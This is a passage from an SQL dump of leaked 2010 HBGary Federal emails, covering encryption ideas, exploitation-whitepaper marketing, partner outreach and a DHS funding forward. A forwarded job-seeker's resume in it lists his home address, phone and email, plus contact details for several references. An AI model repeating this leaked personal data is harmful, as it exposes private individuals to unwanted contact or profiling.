get to actionable intelligence, but combined with other intelligence and cyber data sources, well the results could be very significant.\r\n\r\n',11172,'aaron_hbgary_com/11172.html'),(5425,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003938.M305125P14101Q281.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Haven\'t Heard from you','Whats going on?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2012,'aaron_hbgary_com/2012.html'),(5426,'2010-04-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003938.M517839P14101Q282.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Idea','\r\n\r\n\r\n  \r\n\r\n\r\nRight, if SSL wasn\'t a complete joke and hadn\'t been broken for\r\nyears.&nbsp; SSL only implements on https connections.&nbsp; Barely anyone\r\nforces you to the SSL connection unless you are making purchases.&nbsp;\r\nThis would happen after all the processing was done on the server and\r\nbefore the browser does anything so your only points of malicious\r\nentry are on the server or on the client before it sends back any\r\ndata or makes another request.&nbsp; Since it happens right before it\r\ntransmits the data everything is encrypted.&nbsp; Every flash video, every\r\nform entry, etc.&nbsp; Implementing as modules and plugins means no one\r\nhas to make a conscience decision about it.&nbsp; It just happens.&nbsp; The\r\npages could easily be stored off in history encrypted.&nbsp; So no\r\ntracking there.&nbsp; If your key gets compromised just change the key\r\nout.&nbsp; You can\'t fake the key like you can with SSL certs.&nbsp; You could\r\nlimit access to your web server by only allowing requests for your\r\nkey.&nbsp; If you find an intruder you rebuild your key and push back out\r\nonly to those you wish.&nbsp; It would add a layer of anonymity to forum\r\nposts by the ISPs not being able to see clear text what you had sent\r\nto a server.\r\n\r\nAaron Barr wrote:\r\n\r\n  I like it.  Explain to me the big advantage over SSL.  Assuming you can\'t break SSL.\r\n\r\nAaron\r\n\r\nOn Apr 16, 2010, at 2:15 PM, Mark Trynor wrote:\r\n\r\n  \r\n  \r\n    What if you encrypted all output from Apache with a GPG module and it\r\nwas decrypted on the browser side with a plugin a la\r\nhttp://getfiregpg.org/s/home? Then only users you sent the key to could\r\nmake out anything coming off the website or there trusted friends, no\r\none would have a clue what was in there or be able to inject anything in\r\nthe middle, and all the encryption would be seamless.\r\n\r\n    \r\n  \r\n  \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n\r\n\r\n\r\n\r\n',13810,'aaron_hbgary_com/13810.html'),(5427,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003938.M749265P14101Q283.eml','\"Don Bailey\" <dbailey@blackbirdtech.com>,\"Don Bailey\" <dbailey@blackbirdtech.com>','Catch Up','Hey Don,\r\n\r\nI am getting a bit of a breather from a few months of proposals.\r\n\r\nPenny said you wanted to get together and talk about future work together.  I know you guys were also looking at potential investing in HBGar Proper.  Anyway, send me a not or a call and we can try to get together.  Have you seen the new REcon Software Exploitation paper? or the malware ticker on the HBGary website?  The Threat Management Center, which drives the data in the ticker has a lot of promise for threat intelligence.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16299,'aaron_hbgary_com/16299.html'),(5428,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003938.M75225P14101Q280.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Idea','I like it.  Explain to me the big advantage over SSL.  Assuming you can\'t break SSL.\r\n\r\nAaron\r\n\r\nOn Apr 16, 2010, at 2:15 PM, Mark Trynor wrote:\r\n\r\n> What if you encrypted all output from Apache with a GPG module and it\r\n> was decrypted on the browser side with a plugin a la\r\n> http://getfiregpg.org/s/home? Then only users you sent the key to could\r\n> make out anything coming off the website or there trusted friends, no\r\n> one would have a clue what was in there or be able to inject anything in\r\n> the middle, and all the encryption would be seamless.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4079,'aaron_hbgary_com/4079.html'),(5429,'2010-04-16','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297003938.M983865P14101Q284.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Idea','\r\n\r\n\r\n  \r\n\r\n\r\nconscious not conscience...whatever I can\'t speel\r\n\r\nMark Trynor wrote:\r\n\r\n  \r\nRight, if SSL wasn\'t a complete joke and hadn\'t been broken for\r\nyears.&nbsp; SSL only implements on https connections.&nbsp; Barely anyone\r\nforces you to the SSL connection unless you are making purchases.&nbsp;\r\nThis would happen after all the processing was done on the server and\r\nbefore the browser does anything so your only points of malicious\r\nentry are on the server or on the client before it sends back any\r\ndata or makes another request.&nbsp; Since it happens right before it\r\ntransmits the data everything is encrypted.&nbsp; Every flash video, every\r\nform entry, etc.&nbsp; Implementing as modules and plugins means no one\r\nhas to make a conscience decision about it.&nbsp; It just happens.&nbsp; The\r\npages could easily be stored off in history encrypted.&nbsp; So no\r\ntracking there.&nbsp; If your key gets compromised just change the key\r\nout.&nbsp; You can\'t fake the key like you can with SSL certs.&nbsp; You could\r\nlimit access to your web server by only allowing requests for your\r\nkey.&nbsp; If you find an intruder you rebuild your key and push back out\r\nonly to those you wish.&nbsp; It would add a layer of anonymity to forum\r\nposts by the ISPs not being able to see clear text what you had sent\r\nto a server.\r\n  \r\nAaron Barr wrote:\r\n  \r\n    I like it.  Explain to me the big advantage over SSL.  Assuming you can\'t break SSL.\r\n\r\nAaron\r\n\r\nOn Apr 16, 2010, at 2:15 PM, Mark Trynor wrote:\r\n\r\n  \r\n    \r\n      What if you encrypted all output from Apache with a GPG module and it\r\nwas decrypted on the browser side with a plugin a la\r\nhttp://getfiregpg.org/s/home? Then only users you sent the key to could\r\nmake out anything coming off the website or there trusted friends, no\r\none would have a clue what was in there or be able to inject anything in\r\nthe middle, and all the encryption would be seamless.\r\n\r\n    \r\n    \r\n    \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n  \r\n  \r\n\r\n\r\n\r\n\r\n',14209,'aaron_hbgary_com/14209.html'),(5430,'2010-04-16','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1297003939.M201076P14101Q285.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Reconnect','Thanks Aaron I will check this out\r\n\r\nSent from my iPhone\r\n\r\nOn Apr 16, 2010, at 2:22 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Hi Alex/Bob,\r\n>\r\n> Not sure if either of you have seen our whitepaper on Software  \r\n> Exploitation using HBGary REcon technology.  It greatly increases  \r\n> the reliability and efficiency for identifying exploitable sections  \r\n> of software (for CND or CNE).  Also if you get a chance look at our  \r\n> ticker on the hbgary.com website.  That data is coming from our  \r\n> Threat Monitoring Center which is automatically doing malware  \r\n> analysis on over 15K malware samples a day.  This is a new  \r\n> capability for us but one we are putting a lot of attention on.  The  \r\n> intelligence value of this information alone is very valuable as it  \r\n> significantly shortens the timeline to get to actionable  \r\n> intelligence, but combined with other intelligence and cyber data  \r\n> sources, well the results could be very significant.\r\n>\r\n> \r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',8316,'aaron_hbgary_com/8316.html'),(5431,'2010-04-16','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297003941.M594902P14101Q286.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Torri E Kitchen\" <Torri.Kitchen@TASC.COM>,\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Signed TA','\r\n\r\nExecuted with Zosh www.zosh.com.\r\n\r\n\r\n\r\n\r\n\r\n\r\n From my iPhone\r\n',13256,'aaron_hbgary_com/13256.html'),(5432,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003941.M868335P14101Q287.eml','\"Greg Hoglund\" <greg@hbgary.com>','How did the Mandiant webinar go','Waiting for some details...\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11984,'aaron_hbgary_com/11984.html'),(5433,'2010-04-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003942.M367238P14101Q289.eml','\"Bailey, Don\" <dbailey@BlackbirdTech.com>,\"Bailey, Don\" <dbailey@BlackbirdTech.com>','Re: Catch Up','That sounds like fun.\r\n\r\nAaron\r\n\r\nOn Apr 16, 2010, at 3:32 PM, Bailey, Don wrote:\r\n\r\n> mered for me; perhaps we can do dinner an\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13635,'aaron_hbgary_com/13635.html'),(5434,'2010-04-16','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297003942.M88577P14101Q288.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','RE: Catch Up','Hi Aaron - it\'s been a crazy few months here as well.  Sorry I\'ve been out of touch.\r\n\r\nI have seen the new REcon paper, nicely done!  I\'ve not seen the ticker yet, but will check it as soon as I send this note.\r\n\r\nThe next two weeks are pretty hammered for me; perhaps we can do dinner and drinks the first week in May?\r\n\r\nDon Bailey\r\nBlackbird Technologies, PDG\r\n703.345.1304 office\r\n703.582.1277 cell\r\ndbailey@blackbirdtech.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, April 16, 2010 2:38 PM\r\nTo: Bailey, Don\r\nCc: Ted Vera\r\nSubject: Catch Up\r\n\r\nHey Don,\r\n\r\nI am getting a bit of a breather from a few months of proposals.\r\n\r\nPenny said you wanted to get together and talk about future work together.  I know you guys were also looking at potential investing in HBGar Proper.  Anyway, send me a not or a call and we can try to get together.  Have you seen the new REcon Software Exploitation paper? or the malware ticker on the HBGary website?  The Threat Management Center, which drives the data in the ticker has a lot of promise for threat intelligence.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14378,'aaron_hbgary_com/14378.html'),(5435,'2010-04-17','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003952.M642786P14101Q291.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: House Panel OKs $150 Million for Infosec R&D','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maughan, Douglas\r\n[mailto:Douglas.Maughan@dhs.gov] \r\nSent: Saturday, April 17, 2010 7:46 AM\r\nTo: Penny Leavy-Hoglund; Maughan, Douglas\r\nSubject: RE: House Panel OKs $150 Million for Infosec R&amp;D\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis is aimed for our program. Keep in mind it&#8217;s only a House\r\nApprop. It still has to be &#8220;conferenced&#8221; with the Senate so we don&#8217;t actually\r\nthink we&#8217;ll get this much.\r\n\r\n&nbsp;\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Saturday, April 17, 2010 10:30 AM\r\nTo: \'Maughan, Douglas\'\r\nSubject: FW: House Panel OKs $150 Million for Infosec R&amp;D\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs this your pot of money?&nbsp; Or did they give it to some\r\nother deserving person in DHS?:)&nbsp; If you got some ideas for stealthy\r\nagents for DDNA\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com]\r\n\r\nSent: Friday, April 16, 2010 12:34 PM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Penny Leavy; Ted Vera\r\nSubject: Re: House Panel OKs $150 Million for Infosec R&amp;D\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPenny&nbsp; will this money flow through Doug Maughn do you\r\nknow?&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Apr 15, 2010 at 9:59 PM, Aaron Barr &lt;adbarr@mac.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWe need to watch how this money flows out and start talking\r\nto customers in dhs about how we cam be leveraged on their R&amp;D.\r\n\r\nHouse Panel OKs $150 Million for Infosec R&amp;D\r\n\r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n \r\n\r\n \r\n \r\nSeeking Innovative Ways to\r\nProtect Government IT\r\nThe bill would give the Homeland Security Department $75 million in each of the\r\nnext two fiscal years to fund R&amp;D projects to improve the nation\'s ability\r\nto prevent, protect, detect, respond to and recover from cyber attacks.Error!\r\nFilename not specified.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16423,'aaron_hbgary_com/16423.html'),(5436,'2010-04-16','\"John H. Ricketson\" <jricketson@dejavutechnologies.com>','/aaron@hbgary.com/new/1297003952.M82052P14101Q290.eml','\"Aaron Barr\" <aaron@hbgary.com>','Follow up','Dear Aaron,\r\n\r\nWe had an interesting conversation at the Palantir Conference last week, about potential cooperation between our companies. If you recall, the technologies may be very complementary: your memory forensics + our network forensics called TrafficScape. In particular, you were interested whether TrafficScape might give early indications about how to prioritize which machines to target with your tool. I would be interested to discuss a reseller relationship, if that makes sense.\r\n\r\nAttached is a slide deck about TrafficScape. I will be in town later next week. Would you be interested to meet, or at least continue our conversation with a conference call and online demo?\r\n\r\nRegards,\r\n\r\n- John\r\n\r\n\r\nJohn H. Ricketson\r\nChief Executive Officer\r\njricketson@dejavutechnologies.com\r\n978-692-7229\r\n',5755,'aaron_hbgary_com/5755.html'),(5437,'2010-04-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003952.M917506P14101Q292.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: How did the Mandiant webinar go','well, best said in person but overall I&#39;m not scared - wasn&#39;t that compelling and they completely mis-represent APT.  For example, they said APT != botnet, which is complete BS as all the malware system have a central control server architecture.  Also, the MIR stuff looked pretty janky.\r\n\r\n \r\n-Greg\r\nOn Fri, Apr 16, 2010 at 12:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWaiting for some details...Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',14052,'aaron_hbgary_com/14052.html'),(5438,'2010-04-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003958.M210321P14101Q293.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: How did the Mandiant webinar go','Looking forward to talking about it.  Ted and I are coming out to San Jose to meet with gd late next week and were thinking of flying in to or out of SAC we&#39;d or sat.  Can u guys get together we&#39;d night or Friday.\r\nAaron  From my iPhoneOn Apr 17, 2010, at 3:04 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nwell, best said in person but overall I&#39;m not scared - wasn&#39;t that compelling and they completely mis-represent APT.  For example, they said APT != botnet, which is complete BS as all the malware system have a central control server architecture.  Also, the MIR stuff looked pretty janky.\r\n\r\n\r\n \r\n-Greg\r\nOn Fri, Apr 16, 2010 at 12:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWaiting for some details...Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',2196,'aaron_hbgary_com/2196.html'),(5439,'2010-04-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003958.M766768P14101Q294.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: How did the Mandiant webinar go','you bet\r\n \r\npenny might not be here but I will be.\r\n \r\n-Greg\r\nOn Sat, Apr 17, 2010 at 12:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nLooking forward to talking about it.  Ted and I are coming out to San Jose to meet with gd late next week and were thinking of flying in to or out of SAC we&#39;d or sat.  Can u guys get together we&#39;d night or Friday.\r\n\r\n\r\nAaron  From my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:04 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nwell, best said in person but overall I&#39;m not scared - wasn&#39;t that compelling and they completely mis-represent APT.  For example, they said APT != botnet, which is complete BS as all the malware system have a central control server architecture.  Also, the MIR stuff looked pretty janky.\r\n\r\n \r\n-Greg\r\nOn Fri, Apr 16, 2010 at 12:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWaiting for some details...Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',11861,'aaron_hbgary_com/11861.html'),(5440,'2010-04-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003959.M227734P14101Q295.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: How did the Mandiant webinar go','Great.  Which is better for u?  I think Friday might give us more time but either will work.AaronFrom my iPhoneOn Apr 17, 2010, at 3:18 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nyou bet\r\n \r\npenny might not be here but I will be.\r\n \r\n-Greg\r\nOn Sat, Apr 17, 2010 at 12:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nLooking forward to talking about it.  Ted and I are coming out to San Jose to meet with gd late next week and were thinking of flying in to or out of SAC we&#39;d or sat.  Can u guys get together we&#39;d night or Friday.\r\n\r\n\r\n\r\nAaron  From my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:04 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nwell, best said in person but overall I&#39;m not scared - wasn&#39;t that compelling and they completely mis-represent APT.  For example, they said APT != botnet, which is complete BS as all the malware system have a central control server architecture.  Also, the MIR stuff looked pretty janky.\r\n\r\n\r\n \r\n-Greg\r\nOn Fri, Apr 16, 2010 at 12:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nWaiting for some details...Aaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',95,'aaron_hbgary_com/95.html'),(5441,'2010-04-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003959.M498761P14101Q296.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.gov\r\nDate: April 17, 2010 2:15:03 AM MDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nSaturday, April 17, 2010, 04:13 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Cyber&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n    Title:                 B--Irregular Warfare Analysis (IWAS) support    Sol. #:                W911W5-IWAS    Agency:                Department of the Army\r\n    Office:                U.S. Army Intelligence and Security Command    Location:              National Ground Intelligence Center    Posted On:             Apr 16, 2010 4:51 pm\r\n    Base Type:             Sources Sought    Link:                  https://www.fbo.gov/spg/USA/INSCOM/DASC02/W911W5-IWAS/listing.html\r\n    -------------------------------------------------------    Title:                 65--CyberWand Dual Ultrasonic Lithotripsy System    Sol. #:                VA-260-10-RQ-0644\r\n    Agency:                Department of Veterans Affairs    Office:                Portland VAMC    Location:              Department of Veterans Affairs Medical Center    Posted On:             Apr 16, 2010 11:07 am\r\n    Base Type:             Combined Synopsis/Solicitation    Link:                  https://www.fbo.gov/spg/VA/PoVAMC/VAMCCO80220/VA-260-10-RQ-0644/listing.html\r\n    -------------------------------------------------------\r\n',6025,'aaron_hbgary_com/6025.html'),(5442,'2010-04-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003959.M788149P14101Q297.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#uvs952c6z8yfnqcw','Begin forwarded message:From: &lt;philipjwhite@gmail.com&gt;\r\nDate: April 17, 2010 12:55:29 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #uvs952c6z8yfnqcw\r\nReply-To: &lt;philipjwhite@gmail.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhilip White \r\n\r\nRichmond, VA  22209\r\nUS\r\nphilipjwhite@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 7578148336  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n													Download Job Seeker&#39;s Word® Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nuvs952c6z8yfnqcw   Resume Headline: Resume for Philip White - Analyst  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\nResume for Philip White\r\nBASIC INFORMATION \r\n\r\nAddress:                                          1121 Arlington Blvd., #538\r\n                                                        \r\nArlington, VA 22209Phone (day or evening):              (757) 814-8336\r\nEmail:                                                         \r\nphilipjwhite@gmail.com\r\n  \r\nDESIRED SALARY                            $50,000-$7\r\n0,000 \r\n \r\nOBJECTIVE              I am seeking a position \r\nas an intelligence analyst that will allow me to make use of my background as an analyst and strong critical thinking skills, while contributing to efforts to maintain and enhance U.S. national security.\r\n \r\n EDUCATION \r\n                            University of Mary Washington\r\n                                                        Fredericksburg, Virginia US\r\n\r\n                                                        B.S. in Mathematics; date of completion, 12/2008\r\n                                                        \r\nAreas of Study: Mathematics (major), Computer Science (concentration) \r\n \r\nWORK EXPERIENCE              Naval Surface Warfare Center, Dahlgren Division (Dept of Defense)\r\n\r\n                                                        06/2008  -  08/2008\r\n                            \r\n                            Dahlgren, VA\r\n                                                        Safety Engineering Summer Intern\r\n\r\n \r\nAssisted the Principal for Safety (PFS) of the Rolling Airframe Missile (RAM) Missile System with document preparation and other tasks\r\nWas observed by colleagues to be skilled at picking up material quickly\r\n\r\n \r\nABSG Consulting02/2009 - 10/2009\r\nArlington, VA\r\nRisk Analyst\r\n \r\nProvided analytical and technical support to the Risk Management and Analysis division of the Department of Homeland Security\r\nAssisted in the development of a database application that is to be used for budgeting purposes for DHS\r\n\r\nFound and pointed out a critical design flaw in a database application, thereby saving ABSG a significant amount of time and money\r\nPerformed analysis and assisted in risk assessments for contracts with USCG, DoD, NIH, DHS\r\n  \r\n\r\nKEY QUALIFICATIONS\r\nApproximately 1 year of experience as a national security risk analyst\r\nAdjudication for TS/SCI clearance with full-scope polygraph complete\r\n\r\nHigh mathematical aptitude; completed high-school level algebra at age nine, college-level calculus (AP Calculus BC) at age thirteen\r\nVery strong writing skills, critical thinking skills, and work ethic\r\n10 years of experience programming in C++/C in an academic environment\r\n \r\n \r\nORGANIZATIONAL ACTIVITY\r\n \r\nParticipated in two computer science competitions through ACM\r\n\r\nWrote several articles for the school newspaper in college\r\n  \r\nINTERESTS AND ACHIEVEMENTS\r\n \r\n\r\nSelected to receive the Alumni Scholarship to UMW\r\nNational Merit Semi-Finalist in high schoolStrong background and interest in mathematics, game theory, computer science, writing, psychology, international affairs\r\n\r\nSpent about two years independently studying an open problem in mathematics\r\nREFERENCES                             Dr. Janusz Konieczny                            \r\nUniversity of Mary Washington               \r\n                                                                                                  \r\n                            Professor of Mathematics\r\n              \r\n                                          \r\n              Phone Number:                                           5406541331\r\n                                          \r\n              Email Address:                                           jkoniecz@umw.edu\r\n                            \r\n                            Reference Type:                                           Professional\r\n              \r\n\r\n              \r\n                                                        Myesha Dabney                            \r\n              NSWC Dahlgren Division\r\n                                                                      \r\n                                                        RAM Principal for Safety\r\n              \r\n\r\n                                                        Phone Number:                                          8045199900\r\n\r\n                                                        Email Address:                                          \r\nmyesha.dabney@navy.mil\r\n                                                        Reference Type:              \r\n                            Professional\r\n              \r\n                                          \r\n                            Pawel Malyszko                                          ABS Consulting\r\n                            \r\n                                                                                                  Project Manager\r\n              \r\n                                                        Phone Number:                                          7034896152\r\n\r\n                                                        Email Address:                                          \r\nPMalyszko@absconsulting.com\r\n                                                        Reference Type:                                          \r\nProfessional              \r\n                                                        \r\nAlan and Molly Cooke                             Former neighbors              \r\n              \r\n                            \r\n                            Phone Number:                                           7572599484\r\n              \r\n                                          Email Address:                                           almolly@verizon.net\r\n\r\n                                                        Reference Type:                                           Personal\r\n\r\n \r\n \r\n                                                        \r\nJack Monroe                                                         McDonnell Douglas\r\n                                          \r\n                                                                                    Director, Navy-Marine Corps                                           \r\n                                                                                                                Programs Group (retired)\r\n\r\n              \r\n                                                        Phone Number:                             \r\n              5403682344\r\n                                                        Email Address:                            \r\n              jack.monroe@cox.net\r\n                                                        Reference Type:               \r\n                            Personal\r\n\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nEntry Level\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\nLess than 1 Year\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-VA-Roanoke\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 25% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2745,'aaron_hbgary_com/2745.html'),(5443,'2010-04-17','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003960.M15604P14101Q298.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: How did the Mandiant webinar go','whenever.\r\n-G\r\nOn Sat, Apr 17, 2010 at 12:43 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nGreat.  Which is better for u?  I think Friday might give us more time but either will work.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Apr 17, 2010, at 3:18 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nyou bet\r\n \r\npenny might not be here but I will be.\r\n \r\n-Greg\r\nOn Sat, Apr 17, 2010 at 12:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; 